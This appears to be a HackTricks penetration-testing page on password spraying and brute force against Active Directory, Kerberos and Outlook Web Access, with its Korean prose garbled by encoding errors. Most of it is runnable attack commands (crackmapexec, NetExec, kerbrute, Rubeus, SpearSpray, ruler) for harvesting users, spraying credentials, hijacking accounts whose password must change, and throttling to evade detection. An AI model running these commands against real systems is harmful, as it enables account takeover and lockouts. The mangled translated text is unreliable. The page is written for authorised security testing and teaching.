Password Spraying / Brute Force

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Password Spraying

์—ฌ๋Ÿฌ ๊ฐœ์˜ valid usernames๋ฅผ ์ฐพ์•˜๋‹ค๋ฉด, ๋ฐœ๊ฒฌํ•œ ๊ฐ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•ด ๊ฐ€์žฅ ํ”ํ•œ common passwords๋ฅผ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(ํ™˜๊ฒฝ์˜ password policy๋ฅผ ์—ผ๋‘์— ๋‘์„ธ์š”).
๊ธฐ๋ณธ์ ์œผ๋กœ default minimum password length๋Š” 7์ž…๋‹ˆ๋‹ค.

common usernames ๋ชฉ๋ก๋„ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/insidetrust/statistically-likely-usernames

์ฐธ๊ณ : could lockout some accounts if you try several wrong passwords (๊ธฐ๋ณธ์ ์œผ๋กœ 10ํšŒ ์ด์ƒ).

Get password policy

user credentials๊ฐ€ ์žˆ๊ฑฐ๋‚˜ domain user๋กœ์„œ shell์„ ๊ฐ€์ง„ ๊ฒฝ์šฐ ๋‹ค์Œ์œผ๋กœ get the password policy with:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Exploitation from Linux (๋˜๋Š” ๋ชจ๋“  ํ™˜๊ฒฝ์—์„œ)

  • crackmapexec ์‚ฌ์šฉ:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
  • **NetExec (CME successor)**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ‘œ์ ํ˜•, ์ €์†Œ์Œ spraying์„ SMB/WinRM ์ „๋ฐ˜์— ๊ฑธ์ณ:
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts

# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares

# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"

# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (๊ณ„์ • ์ž ๊ธˆ์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ์‹œ๋„ ํšŸ์ˆ˜๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • kerbrute ์‚ฌ์šฉ (python) - ๊ถŒ์žฅํ•˜์ง€ ์•Š์Œ. ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ์ž‘๋™ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Œ
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Metasploit์˜ scanner/smb/smb_login ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜์—ฌ:

  • rpcclient๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Windows์—์„œ

  • brute ๋ชจ๋“ˆ์ด ํฌํ•จ๋œ Rubeus ๋ฒ„์ „์œผ๋กœ:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Invoke-DomainPasswordSpray์„(๋ฅผ) ์‚ฌ์šฉํ•˜๋ฉด (๊ธฐ๋ณธ์ ์œผ๋กœ ๋„๋ฉ”์ธ์—์„œ ์‚ฌ์šฉ์ž๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ๋„๋ฉ”์ธ์˜ ์•”ํ˜ธ ์ •์ฑ…์„ ๊ฐ€์ ธ์™€ ์ด์— ๋”ฐ๋ผ ์‹œ๋„ ํšŸ์ˆ˜๋ฅผ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

์‹๋ณ„ ๋ฐ ์ธ์ˆ˜ โ€œPassword must change at next logonโ€ ๊ณ„์ • (SAMR)

์†Œ์Œ์ด ์ ์€ ๊ธฐ๋ฒ•์€ benign/empty password๋ฅผ sprayํ•˜์—ฌ STATUS_PASSWORD_MUST_CHANGE๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ณ„์ •์„ ์ฐพ์•„๋‚ด๋Š” ๊ฒƒ์ด๋‹ค. ์ด๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ฐ•์ œ๋กœ ๋งŒ๋ฃŒ๋˜์–ด ์ด์ „ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์•Œ์ง€ ๋ชปํ•ด๋„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•œ๋‹ค.

Workflow:

  • ์‚ฌ์šฉ์ž ์—ด๊ฑฐ (RID brute via SAMR)๋กœ ๋Œ€์ƒ ๋ชฉ๋ก ์ž‘์„ฑ:

rpcclient enumeration

# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
  • Spray an empty password๋ฅผ ์‹œ๋„ํ•˜๊ณ , hits๊ฐ€ ๋‚˜์™€๋„ ๋‹ค์Œ logon ์‹œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ์ด ํ•„์š”ํ•œ ๊ณ„์ •์„ ํ™•๋ณดํ•˜๊ธฐ ์œ„ํ•ด ๊ณ„์† ์ง„ํ–‰ํ•˜์„ธ์š”:
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
  • ๊ฐ ํžˆํŠธ๋งˆ๋‹ค, SAMR์„ ํ†ตํ•ด NetExec์˜ ๋ชจ๋“ˆ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค (โ€œmust changeโ€œ๊ฐ€ ์„ค์ •๋œ ๊ฒฝ์šฐ ์ด์ „ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ถˆํ•„์š”):
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"

# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol

์šด์˜ ๋…ธํŠธ:

  • Kerberos ๊ธฐ๋ฐ˜ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์ „์— ํ˜ธ์ŠคํŠธ ์‹œ๊ณ„๊ฐ€ DC์™€ ๋™๊ธฐํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”: sudo ntpdate <dc_fqdn>.
  • ์ผ๋ถ€ ๋ชจ๋“ˆ(์˜ˆ: RDP/WinRM)์—์„œ [+]๊ฐ€ (Pwn3d!) ์—†์ด ํ‘œ์‹œ๋˜๋Š” ๊ฒƒ์€ creds๊ฐ€ ์œ ํšจํ•˜์ง€๋งŒ ๊ณ„์ •์— ๋Œ€ํ™”ํ˜• ๋กœ๊ทธ์˜จ ๊ถŒํ•œ์ด ์—†์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

Brute Force

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)

Kerberos pre-authโ€“based spraying์€ SMB/NTLM/LDAP ๋ฐ”์ธ๋“œ ์‹œ๋„๋ณด๋‹ค ๋…ธ์ด์ฆˆ๋ฅผ ์ค„์ด๊ณ  AD ์ž ๊ธˆ ์ •์ฑ…๊ณผ ๋” ์ž˜ ๋งž์Šต๋‹ˆ๋‹ค. SpearSpray๋Š” LDAP-driven ํƒ€๊นƒํŒ…, ํŒจํ„ด ์—”์ง„, ์ •์ฑ… ์ธ์‹(๋„๋ฉ”์ธ ์ •์ฑ… + PSOs + badPwdCount ๋ฒ„ํผ)์„ ๊ฒฐํ•ฉํ•˜์—ฌ ์ •๋ฐ€ํ•˜๊ณ  ์•ˆ์ „ํ•˜๊ฒŒ ์Šคํ”„๋ ˆ์ด๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ์นจํ•ด๋œ principals๋ฅผ Neo4j์— ํƒœ๊ทธํ•˜์—ฌ BloodHound ๊ฒฝ๋กœ ํƒ์ƒ‰์— ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Key ideas:

  • LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
  • ๋„๋ฉ”์ธ ์ž ๊ธˆ ์ •์ฑ… + PSO-aware ํ•„ํ„ฐ๋ง์„ ํ†ตํ•ด ๊ตฌ์„ฑ ๊ฐ€๋Šฅํ•œ ์‹œ๋„ ๋ฒ„ํผ(threshold)๋ฅผ ๋‚จ๊ฒจ ์‚ฌ์šฉ์ž๊ฐ€ ์ž ๊ธฐ์ง€ ์•Š๋„๋ก ๋ฐฉ์ง€.
  • Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
  • ์ด๋ฆ„ ๊ฐ™์€ ๋ณ€์ˆ˜์™€ ๊ฐ ์‚ฌ์šฉ์ž์˜ pwdLastSet์—์„œ ํŒŒ์ƒ๋œ ์‹œ๊ฐ„๊ฐ’์„ ์ด์šฉํ•œ ํŒจํ„ด ๊ธฐ๋ฐ˜์˜ ์‚ฌ์šฉ์ž๋ณ„ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ƒ์„ฑ.
  • ์Šค๋ ˆ๋“œ, ์ง€ํ„ฐ, ์ดˆ๋‹น ์ตœ๋Œ€ ์š”์ฒญ ์ˆ˜๋กœ ์ฒ˜๋ฆฌ๋Ÿ‰ ์ œ์–ด.
  • ์„ ํƒ์  Neo4j ํ†ตํ•ฉ์œผ๋กœ owned users๋ฅผ BloodHound์šฉ์œผ๋กœ ํ‘œ์‹œ ๊ฐ€๋Šฅ.

Basic usage and discovery:

# List available pattern variables
spearspray -l

# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local

# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl

๋Œ€์ƒ ์ง€์ • ๋ฐ ํŒจํ„ด ์ œ์–ด:

# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"

# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME

์€๋ฐ€์„ฑ ๋ฐ ์•ˆ์ „ ์ œ์–ด:

# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10

# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2

Neo4j/BloodHound ์ •๋ณด ๋ณด๊ฐ•:

spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687

ํŒจํ„ด ์‹œ์Šคํ…œ ๊ฐœ์š” (patterns.txt):

# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}

Available variables include:

  • {name}, {samaccountname}
  • ๊ฐ ์‚ฌ์šฉ์ž์˜ pwdLastSet(๋˜๋Š” whenCreated)๋กœ๋ถ€ํ„ฐ์˜ ์‹œ๊ฐ„๊ฐ’: {year}, {short_year}, {month_number}, {month_en}, {season_en}
  • ์กฐํ•ฉ ํ—ฌํผ ๋ฐ ์กฐ์ง ํ† ํฐ: {separator}, {suffix}, {extra}

Operational notes:

  • ๊ฐ€์žฅ ๊ถŒ์œ„ ์žˆ๋Š” badPwdCount ๋ฐ ์ •์ฑ… ๊ด€๋ จ ์ •๋ณด๋ฅผ ์ฝ๊ธฐ ์œ„ํ•ด -dc ์˜ต์…˜์œผ๋กœ PDC-emulator์— ์งˆ์˜ํ•˜๋Š” ๊ฒƒ์„ ์šฐ์„ ํ•˜์„ธ์š”.
  • badPwdCount ์žฌ์„ค์ •์€ ๊ด€์ฐฐ ์ฐฝ ์ดํ›„ ๋‹ค์Œ ์‹œ๋„์—์„œ ํŠธ๋ฆฌ๊ฑฐ๋ฉ๋‹ˆ๋‹ค; ์•ˆ์ „์„ ์œ„ํ•ด ์ž„๊ณ„๊ฐ’๊ณผ ํƒ€์ด๋ฐ์„ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • Kerberos pre-auth ์‹œ๋„๋Š” DC telemetry์—์„œ 4768/4771๋กœ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค; ์„ž์ด๊ธฐ ์œ„ํ•ด jitter์™€ rate-limiting์„ ์‚ฌ์šฉํ•˜์„ธ์š”.

Tip: SpearSprayโ€™s default LDAP page size is 200; adjust with -lps as needed.

Outlook Web Access

There are multiples tools for password spraying outlook.

To use any of these tools, you need a ์‚ฌ์šฉ์ž ๋ชฉ๋ก and a password / a small list of passwords to spray.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ